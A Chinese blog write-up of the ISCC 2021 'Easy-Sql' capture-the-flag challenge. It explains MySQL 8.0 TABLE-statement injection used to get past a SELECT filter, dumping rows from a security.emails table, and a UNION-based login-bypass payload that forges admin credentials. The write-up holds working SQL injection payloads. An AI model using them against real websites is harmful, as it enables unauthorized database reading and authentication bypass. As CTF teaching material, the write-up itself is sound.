ISCC-2021-Easy-Sql

根据提示,在网址后面加上?id

尝试?id=1 and 1=1

有回显,存在SQL注入,尝试用union联合注入的方法

?id=-1 union select 1,2

这里 select过滤,尝试绕过,如大小写的绕过、编码等,依然无效,直接上工具sqlmap

这里得到的结果是,本网站使用的是MySQL 8.0

去查了一下MySQL 8.0 是存在table注入的,因此尝试使用table进行注入

知识积累:

TABLESELECT的区别

1.TABLE始终显示表的所有列

2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句

可以简单测试一下是否存在table注入:?id=-1 union table users limit 0,1

结果是存在的,继续爆破数据库

得到数据库名:security

根据题目要求

因此大胆猜测有张表就叫email或者emails

尝试一下:?id=-1 union table security.email limit 0,1 或者?id=-1 union table security.email limit 0,1

通过测试,表名是emails

但是在查的时候是limit 0,1 查询出来不是Beaxia,而是Dumb,所以继续往下查询

?id=-1 union table security.email limit 7,1

这里显示有一个zip,于是去下载下来看看

http://39.106.87.115:7009/ypHeMPardErE.zip

解压出来是一个网页文件,点开,查看网页源代码

可以通过username注入,提交username必须为admin,并且后面需要通过$row['passwd'] == $passwd

构造post参数:username=admin' union select 1, 'admin', 'Dumb'-- &passwd=Dumb

  • 9
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值